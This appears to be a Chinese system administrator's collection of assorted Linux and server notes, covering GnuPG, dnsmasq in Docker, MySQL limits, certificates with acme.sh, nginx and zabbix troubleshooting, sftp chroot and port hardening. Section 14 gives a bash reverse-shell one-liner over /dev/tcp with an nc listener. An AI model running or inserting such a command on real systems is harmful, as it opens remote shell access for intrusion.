那些杂七杂八的记录
点击展开目录
1. GnuPG 加密与解密
gpg 对称加密
gpg 非对称加密
2. DOCKER 创建 DNS SERVER
3. Mysql Errcode: 24 - Too many open files
4. dotnet 环境搭建
5. 在Linux中删除virbr0接口
6. Linux 杀毒软件 clamav
7. acme.sh 管理免费域名证书
8. 禅道bug管理系统
9. nginx 代理php产生的一些故障
10. linux 合并文件系统 margerfs
12. 监听本地网卡上没有的IP地址
13. 腾讯云第二块网卡绑定公网ip
14. shell 反弹
15. zabbix 自动发现异常错误
16. nginx 获取cdn真实用户ip
17. virtualbox - 从主机端口80到VirtualBox端口80的端口转发不起作用
18. docker 网络桥联网络无法访问物理机网络问题
19. 服务器默认端口优化
20. linux 下hosts文件和dns服务器的响应顺序可以通过 /etc/nsswitch.conf 进行更换
21. git 提交类型
1. GnuPG 加密与解密
1.1. gpg 对称加密
加密: gpg -c <file>
, 输入两次加密密码,完成后生成文件<file>.gpg
(加密后源文件保留)
解密: gpg <file>.gpg
, 输入加密密码,正确后生成文件<file>
(解密后加密文件保留)
1.2. gpg 非对称加密
非对称加密/解密文件时,Server
生成私钥与公钥,并把公钥发送给Client
, Client
使用公钥加密数据,并把加密后的数据传给Server
,Server
最后使用自己的私钥解密数据。
# Server: 创建公钥私钥
$> gpg --gen-key # 需要填写一些东西,可根据需求选择
## 配置文件介绍
# GPG 配置文件目录:~/.gnupg
# ~/.gnupg/gpg.conf – 配置文件
# ~/.gnupg/trustdb.gpg – 信任库
# ~/.gnupg/pubring.gpg – 公钥库
# ~/.gnupg/secring.gpg – 私钥库
$> gpg --list-key # 密钥查看
$> gpg -a --export <UserID> > ./public-key.pub # Server: 公钥导出 UserID 为公私钥创建时候生成的,即 gpg: 密钥 <UserID> 被标记为绝对信任
# 将公钥传送到Client上
# Client: 导入 公钥
$> gpg --import ./public-key.pub
# Client: 文件加密
$> gpg -e -r <UserID> <file>
<file>.gpg
# 加密完成后将文件传送至Server 进行解密,此时Client上是不可解密的,要解密需要私钥
# Server: 文件解密
$> gpg -d <file>.gpg
<file>
2. DOCKER 创建 DNS SERVER
$> vim /data/docker/dns/dnsmasq.conf
#dnsmasq config, for a complete example, see:
# http://oss.segetech.com/intra/srv/dnsmasq.conf
#log all dns queries
log-queries
#dont use hosts nameservers
no-resolv
#use cloudflare as default nameservers, prefer 1^4
server=8.8.4.4
server=8.8.8.8
strict-order
#serve all .company queries using a specific nameserver
server=/company/10.0.0.1
#explicitly define host-ip mappings
address=/www.example.com/172.16.10.10
$> docker run -d -p 53:53/udp -p 53:53/tcp -p 5380:8080 -v /data/docker/dns/dnsmasq.conf:/etc/dnsmasq.conf --log-opt "max-size=100m" -e "HTTP_USER=root" -e "HTTP_PASS=root" jpillora/dnsmasq
3. Mysql Errcode: 24 - Too many open files
https://blog.csdn.net/weixin_36343850/article/details/86293700
原因:打开文件数量太多,超出了open_files_limit
这个参数的限制,在一个表中有多个分区的时候,这种情况更容易发生。
解决方法:
- 查看
open_files_limit
参数, 使用show variables like '%open%';
就可以看到了 - 修改
open_files_limit
参数
在网上找了很多资料,有的说直接在/etc/mysql/mysql.conf.d/mysqld.cnf
文件中的[mysqld]
部分添加open_files_limit
参数,比如open_files_limit=102400
,并且在/etc/security/limits.conf
添加mysql soft nofile 102400
和mysql hard nofile 102400
这两个参数然后重启MySQL
,但是发现不能生效。 - 以下方法可用:
- 在文件
/etc/systemd/system/multi-user.target.wants/mysql.service
(也有可能是/etc/systemd/system/mysql.service
这个文件)最后添加LimitNOFILE=102400
- 在文件
- 然后执行
systemctl daemon-reload
,接着再重启mysql
服务sudo service mysql restart
,可以看到已经修改成功了
4. dotnet 环境搭建
$> rpm -Uvh https://packages.microsoft.com/config/rhel/7/packages-microsoft-prod.rpm
$> yum install libgdiplus-devel libunwind icu -y
$> wget https://packages.microsoft.com/rhel/7/prod/dotnet-sdk-2.1.200-rhel-x64.rpm
$> yum install dotnet-sdk-2.1.200-rhel-x64.rpm -y
$> dotnet --info
# supervisor 管理
yum install supervisor -y
# 前端管理样式页面
/usr/lib/python2.7/site-packages/supervisor/ui/status.html
5. 在Linux中删除virbr0接口
virbr0
是CentOS7
在安装过程中选择了相关虚拟化的服务安装后产生的,实际上好像是没什么卵用的
$> virsh net-list
$> virsh net-destroy default
$> virsh net-undefine default
$> systemctl restart libvirtd.service
6. Linux 杀毒软件 clamav
# 需要安装epel源
$> yum install clamav-server clamav-data clamav-update clamav-filesystem clamav clamav-scanner-systemd clamav-devel clamav-lib clamav-server-systemd
# 注释掉 /etc/freshclam.conf /etc/clamd.d/scan.conf 中的Example
# 更新病毒库
$> /usr/bin/freshclam
# 扫描
$> clamscan -ri /data --remove -l /var/log/clamscan.log
7. acme.sh 管理免费域名证书
此处说明两个注意一点设置的DNS API
密钥的获取,cloudflare
和腾讯云
, 其他可直接参看官方说明 https://github.com/acmesh-official/acme.sh/wiki/dnsapi
cloudflare
:解析的需要创建API 令牌, API令牌权限需要创建区域.区域
和区域.DNS
,区域资源为所有区域
或者帐号的所有区域
, 另外需要的CF_Account_ID
是url
中包含的那32
位的字符串.
# cloudflare
$> curl https://get.acme.sh | sh
$> export CF_Token="xxxxx"
$> export CF_Account_ID="xxxxxx"
$> acme.sh --issue -d example.com -d '*.example.com' --dns dns_cf
- 腾讯云:腾讯云实际上需要使用的是
dnspod
的id
和token
他们两个是共用的,可以直接用腾讯云帐号登录dnspod
,进去后获取到id
和token
就行了
# 腾讯云
$> curl https://get.acme.sh | sh
$> export DP_Id="xxxxx"
$> export DP_Key="xxxxx"
$> acme.sh --issue -d example.com -d '*.example.com' --dns dns_dp
8. 禅道bug管理系统
这个部署遇到的一个坑就是php
打死获取不到session
的位置
打开调试日志方式是将my.cnf
中debug
设置为true
实际错误体现是 ERROR: 您访问的域名 xxx.xxx.xxx 没有对应的公司。
我的解决方案是 代码目录整体权限设置为777
,然后删除掉my.cnf
进行重装,重装后在目录权限调整为正常权限即可.
9. nginx 代理php产生的一些故障
记录一个nginx
代理 php
产生的问题,问题已经解决了,但是似乎还是没有找到根本原因,若有了解的,请一定解惑一二, 以下记录下处理过程 .
-
问题产生过程:
- A服务器代码迁移到B机器上,代码是
rsync
直接同步的,然后B运行的时候就出问题了,根据调试发现,无论访问什么(html/js/css)都会跳转到首页,实际应该是都会经过php
解析(我发誓A和B的环境配置是一模一样的!A可以正常运行.),php
框架为opencart
.
- A服务器代码迁移到B机器上,代码是
-
浏览器访问表现以下错误:
Resource interpreted as Stylesheet but transferred with MIME type text/html
ERR_CONNECTION_REFUSED
-
处理过程 :
- 问题实际上是头一天发生的,经过多方调试发现,实际上通过域名访问任何资源均会跳转到首页,访问
php
资源则会出现无法加载js/css
等静态资源全部都是MIME
类型问题,nginx
强行给css/js
等资源设置一个content-type
前端也无法识别正确,另外也测试过网上提供的多方解决方案,仍然无法得到解决 . - 第二天, 保持原有
nginx
配置 , 我给对应站点首页的index.php
代码中加入了echo 123; exit();
进行测试,访问发现可正常断开,此时在访问根下的静态html
测试文件,发现可以正常访问了,此时删除echo 123; exit();
,重新访问index.php
,发现(js/css)静态资源被升级为https
访问,此时我给相关域名配置上证书,然后访问就正常了!!!
- 问题实际上是头一天发生的,经过多方调试发现,实际上通过域名访问任何资源均会跳转到首页,访问
-
原因分析:
- 站点缓存(这个可能性最大),
opencart
框架实际上session
是存储到数据库中的,估计很多的cache
也是存于数据中的,而今天解决的时间也恰好距离我最后一次同步一天的样子. nginx
配置域名过多,导致配置混乱. B服务器的nginx
实际上已经配置了很多个域名,php
解析的SCRIPT_FILENAME
我使用的是$document_root
,最后一次修改我也将$document_root
修改为了具体的路径,不知道会不会是这个原因产生的.
- 站点缓存(这个可能性最大),
10. linux 合并文件系统 margerfs
使用示例:
# 挂载到的目录必须为空
# 命令挂载
$> mergerfs -o defaults,allow_other,use_ino,minfreespace=10G,ignorepponrename=true /data01:/data02 /shares
# fstab
$> /etc/fstab
/data01:/data02 /shares fuse.mergerfs defaults,noauto,allow_other,use_ino,minfreespace=10G,ignorepponrename=true 0 0
11. linux sftp 搭建
# 编辑文件 /etc/ssh/sshd_config,末尾添加(新建的用户若仅使用sftp可以不指定可登陆的bash)
# 若想要让sftp更像登陆到了服务器,可配合chroot来控制(https://blog.cxd115.me/115/.html),当然也可以直接创建账号,但一般不建议
#
Match Group www # 限制某个组或者某个用户使用以下规则
ChrootDirectory /data/sftp # sftp 限制登陆目录到此处
ForceCommand internal-sftp # 仅允许使用sftp
X11Forwarding no # 禁止x11转发
AllowTcpForwarding no # 禁止 tcp 转发
12. 监听本地网卡上没有的IP地址
# 一般用于 keepalive + nginx 使用
echo 'net.ipv4.ip_nonlocal_bind = 1' >> /etc/sysctl.conf
13. 腾讯云第二块网卡绑定公网ip
官方文档是有记录的,这儿记录下服务器上的设置
# 网卡初始化
DEVICE=eth1
NM_CONTROLLED=yes
ONBOOT=yes
IPADDR=<网卡2IP>
NETMASK=255.255.240.0
#
echo "10 t1" >> /etc/iproute2/rt_tables
echo "20 t2" >> /etc/iproute2/rt_tables
/usr/sbin/ip route add default dev eth0 via 172.21.0.1 table 10
/usr/sbin/ip route add default dev eth1 via 172.21.0.1 table 20
/usr/sbin/ip rule add from 172.21.2.168 table 10
/usr/sbin/ip rule add from 172.21.2.74 table 20
14. shell 反弹
https://blog.csdn.net/weixin_41082546/article/details/104123131
# 被控端执行
nc -lvp 65535
# 控制端执行
bash -i >& /dev/tcp/<被控端ip>/65535 0>&1
15. zabbix 自动发现异常错误
- 具体错误表现
Cannot create item: item with the same key "domain.status[{#DOMAIN_NAME},http_code]" already exists.
Cannot accurately apply filter: no value received for macro "{#DOMAINNAME}".
- 解决方案
- 这个是特么的自动发现脚本返回值的
key
必须用{}
括起来,不然你即使是json
格式他也不会认, 网上那些这个抄那个的坑货就只知道变量要大写,还有个坑告诉我要使用宏,用了宏就是第二个问题,不用第一个,这我是记得很清楚,宏并不是必定要有的啊,我以前写也基本没有加过。 我特么也是蠢了,写了这么多的自动发现,居然没有注意要括起来。
- 这个是特么的自动发现脚本返回值的
16. nginx 获取cdn真实用户ip
# client_real_ip 即为用户真实IP,可直接用于替换 remote_addr
map $http_x_forwarded_for $client_real_ip {
"" $remote_addr;
~^(?P<firstAddr>[0-9\.]+),?.*$ $firstAddr;
}
17. virtualbox - 从主机端口80到VirtualBox端口80的端口转发不起作用
此次问题实际出现是在windows
上, 理论上说linux
下若使用nat
功能可能也会出现该问题(至于为什么用nat
,virtualbox
似乎并不支持桥接网卡,因此要为虚拟机分配物理ip
似乎就只能在物理机绑定多个ip
,然后nat
转发到虚拟机中), virtualbox
在转发80
端口时似乎会与物理机的80
冲突,从而导致转发无效,这个可能是因为我物理机也启用了IIS
的原因.好吧,以上都是些废话,我也不知道在说些什么,下面看解决方案.
- 解决方案
- 我是用的
windows
的端口转发解决的,virtualbox
在nat
的时候转发一个其他端口(比如8080
)到内部的80
, 然后在windows
在进行一次转发,将绑定的ip
的80
端口转发到8080
上,这样也可以解决,骚操作看他 https://blog.0x5c0f.cc/115/4.html,自己找下windows 端口转发
, 这个没打标 - 还有个说的是用管理员身份运行
virtualbox
,也可以解决,不过我没有验证过
18. docker 网络桥联网络无法访问物理机网络问题
- 当容器以桥连模式启动时是无法访问物理主机网络的,此时需要手动配置下防火墙信任容器的桥连网卡流量
# 如容器启动后的网卡为 br-3630aa8a433b ,则防火墙添加下
$> iptables -A INPUT -i br-3630aa8a433b -j ACCEPT
19. 服务器默认端口优化
- 检查所有非22开启的端口:
netstat -lntp
$> netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 1317/master
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1/systemd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1569/sshd
tcp6 0 0 ::1:25 :::* LISTEN 1317/master
tcp6 0 0 :::111 :::* LISTEN 1/systemd
tcp6 0 0 :::22 :::* LISTEN 1569/sshd
- 查询
/etc/services
下端口对应的服务:grep -E "25|111/" /etc/services
$> grep -E "\ 25/|\ 111/" /etc/services
smtp 25/tcp mail
smtp 25/udp mail
sunrpc 111/tcp portmapper rpcbind # RPC 4.0 portmapper TCP
sunrpc 111/udp portmapper rpcbind # RPC 4.0 portmapper UD
- 检查服务的运行状态(第三列为服务名称):
systemctl list-unit-files |grep -E "rpcbind|portmapper|mail"
, 若单个端口所映射的服务没有查询到,需要通过运行端口的pid
去查询他具体是属于那个程序的,然后然后去查询具体的服务启动状态。
$> systemctl list-unit-files |grep -E "rpcbind|portmapper|postfix"
postfix.service enabled
rpcbind.service enabled
rpcbind.socket enabled
rpcbind.target static
$> systemctl stop postfix.service rpcbind.service rpcbind.socket # 关闭启动的服务
$> systemctl disable postfix.service rpcbind.service rpcbind.socket # 禁用开机启动
20. linux 下hosts文件和dns服务器的响应顺序可以通过 /etc/nsswitch.conf 进行更换
- 更换
/etc/nsswitch.conf: 86
中的files
和dns
的顺序即可
21. git 提交类型
类型 | 描述 |
---|---|
feat |
新增 feature |
fix |
修复 bug |
docs |
仅仅修改了文档,比如README , CHANGELOG , CONTRIBUTE 等等 |
style |
仅仅修改了空格、格式缩进、都好等等,不改变代码逻辑 |
refactor |
代码重构,没有加新功能或者修复bug |
perf |
优化相关,比如提升性能、体验 |
test |
测试用例,包括单元测试、集成测试等 |
chore |
改变构建流程、或者增加依赖库、工具等 |
revert |
回滚到上一个版本 |